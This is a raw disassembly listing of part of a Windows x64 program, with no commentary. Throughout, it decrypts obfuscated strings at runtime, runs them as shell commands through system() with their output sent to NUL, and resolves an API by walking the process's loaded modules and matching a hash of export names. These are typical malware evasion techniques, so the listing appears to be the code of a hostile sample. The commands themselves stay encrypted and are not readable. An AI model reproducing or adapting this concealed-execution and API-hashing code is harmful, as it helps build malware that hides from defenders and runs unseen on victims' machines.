movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400619d2
cmp r8d, 0x2d
jge 0x140061b00
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140061ad0
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x1490]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x1470]
call fcn.140072780
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1450]
call fcn.1400727e0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1430]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1430]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1450]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1470]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1490]
call fcn.140071c30
nop
lea rcx, [rbp + 0x14b0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x14d0]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x1590]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x1570]
call fcn.14003c4c0
mov rdi, rax
lea rdx, [rbp + 0x1818]
lea rcx, [rsp + 0x59]
call fcn.14004b3d0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140061d40
mov r8d, r14d
cmp r15d, 2
jl 0x140061cfd
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140061c12
cmp r8d, 0x2d
jge 0x140061d40
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140061d10
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x1550]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x1530]
call fcn.140072780
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1510]
call fcn.1400727e0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x14f0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x14f0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1510]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1530]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1550]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1570]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1590]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x470]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x450]
call fcn.14003c4c0
mov rdi, rax
lea rdx, [rbp + 0x17b8]
lea rcx, [rsp + 0x5a]
call fcn.14004b410
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140061f80
mov r8d, r14d
cmp r15d, 2
jl 0x140061f3d
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140061e52
cmp r8d, 0x2d
jge 0x140061f80
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140061f50
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x1610]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x15f0]
call fcn.140072780
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x15d0]
call fcn.1400727e0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x15b0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x15b0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x15d0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x15f0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1610]
call fcn.140071c30
nop
lea rcx, [rbp + 0x450]
call fcn.140071c30
nop
lea rcx, [rbp + 0x470]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x530]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x510]
call fcn.14003c4c0
mov rdi, rax
lea rdx, [rbp + 0x17e8]
lea rcx, [rsp + 0x5b]
call fcn.14004b450
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400621c0
mov r8d, r14d
cmp r15d, 2
jl 0x14006217d
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140062092
cmp r8d, 0x2d
jge 0x1400621c0
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140062190
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x4f0]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x4d0]
call fcn.140072780
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x4b0]
call fcn.1400727e0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x490]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x490]
call fcn.140071c30
nop
lea rcx, [rbp + 0x4b0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x4d0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x4f0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x510]
call fcn.140071c30
nop
lea rcx, [rbp + 0x530]
call fcn.140071c30
lea rdx, [rbp + 0x1f10]
lea rcx, [rsp + 0x5c]
call fcn.14004b490
mov rsi, rax
cmp byte [rax + 0x7a], 0
je 0x1400623e0
mov r8d, r14d
cmp r15d, 2
jl 0x14006239b
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x1400622b0
cmp r8d, 0x7b
jge 0x1400623e0
movsxd r9, r8d
add r9, rsi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7b
jl 0x1400623b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140062476
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140062476
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140062471
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140062450
cmp r8d, 0x491e0a9c
je 0x14006247b
test r9d, r9d
jne 0x140062430
mov rax, qword [rax]
jmp 0x140062400
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
lea rdx, [rbp + 0x2260]
lea rcx, [rsp + 0x5d]
call fcn.14004b510
mov rsi, rax
cmp byte [rax + 0x80], 0
je 0x140062613
mov r8d, r14d
cmp r15d, 2
jl 0x1400625d1
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x1400624e0
cmp r8d, 0x81
jge 0x140062613
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x1400625e0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400626a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400626a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400626a1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140062680
cmp r8d, 0x491e0a9c
je 0x1400626ab
test r9d, r9d
jne 0x140062660
mov rax, qword [rax]
jmp 0x140062630
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
lea rdx, [rbp + 0x2e40]
lea rcx, [rsp + 0x5e]
call fcn.14004b580
mov rsi, rax
cmp byte [rax + 0xa4], 0
je 0x140062843
mov r8d, r14d
cmp r15d, 2
jl 0x140062801
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x140062710
cmp r8d, 0xa5
jge 0x140062843
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa5
jl 0x140062810
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400628d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400628d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400628d1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400628b0
cmp r8d, 0x491e0a9c
je 0x1400628db
test r9d, r9d
jne 0x140062890
mov rax, qword [rax]
jmp 0x140062860
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
lea rdx, [rbp + 0x2d90]
lea rcx, [rsp + 0x5f]
call fcn.14004b600
mov rsi, rax
cmp byte [rax + 0xa3], 0
je 0x140062a73
mov r8d, r14d
cmp r15d, 2
jl 0x140062a31
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x140062940
cmp r8d, 0xa4
jge 0x140062a73
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa4
jl 0x140062a40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140062b06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140062b06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140062b01
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140062ae0
cmp r8d, 0x491e0a9c
je 0x140062b0b
test r9d, r9d
jne 0x140062ac0
mov rax, qword [rax]
jmp 0x140062a90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
lea rdx, [rbp + 0x32e0]
lea rcx, [rsp + 0x60]
call fcn.14004b680
mov rsi, rax
cmp byte [rax + 0xb1], 0
je 0x140062ca3
mov r8d, r14d
cmp r15d, 2
jl 0x140062c61
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xb0
jl 0x140062b70
cmp r8d, 0xb2
jge 0x140062ca3
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb2
jl 0x140062c70
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140062d36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140062d36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140062d31
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140062d10
cmp r8d, 0x491e0a9c
je 0x140062d3b
test r9d, r9d
jne 0x140062cf0
mov rax, qword [rax]
jmp 0x140062cc0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
lea rdx, [rbp + 0x20b0]
lea rcx, [rsp + 0x61]
call fcn.14004b710
